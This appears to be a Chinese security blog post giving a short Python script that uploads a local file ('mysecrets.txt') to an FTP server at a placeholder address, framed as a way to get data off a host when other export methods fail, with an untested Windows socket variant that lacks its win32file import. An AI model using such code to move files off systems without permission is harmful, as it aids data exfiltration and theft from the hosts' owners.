本博客地址:https://security.blog.csdn.net/article/details/127758256
一、前言
与Python发送邮件类似,使用Python实现FTP文件上传也是为了将主机上的数据文件导出来,导出主机上的数据可能出于各种原因,至于为什么要使用FTP导出我们暂不讨论,毕竟不是每一种方式都能一次性成功,当其他方式不支持数据导出时,不妨试试这个。
二、代码实例
代码中已有明确注释,因此不再做单独的逻辑解释。
#!/usr/bin/python
#-*- coding:utf8 -*-
import ftplib
from http import client
import os
import socket
# 配置FTP信息
SERVER = '<your ftp server adderss>'
# 要上传的文件的路径
DOC_PATH = './mysecrets.txt'
def plain_ftp(docpath, server=SERVER):
ftp = ftplib.FTP(server)
ftp.set_debuglevel(2)
# 连接并登录服务器
ftp.login('<your username>', '<your passwd> ')
# 定位目标目录
ftp.storbinary("STOR " + os.path.basename(docpath), open(docpath, 'rb'), 1024)
# 最后把文件写入目标目录
ftp.quit()
# 和上面的函数一样,主要是面向windows的,document_path是上传的文件的路径
def transmit(document_path):
client = socket.socket()
client.connect((SERVER, 10000))
with open(document_path, 'rb') as f:
# 调用该函数传输文件
win32file.TransmitFile(client, win32file._get_osfhandle(f.fileno()), 0, 0, None, 0, b'', b'')
if __name__ == "__main__":
# 将这个txt文件上传到目标服务器上
plain_ftp('./mysecrets.txt', server=SERVER)
三、运行测试
1、首先我们搭建一个FTP服务,这个请自行百度解决;
2、直接执行代码即可:
python xxx.py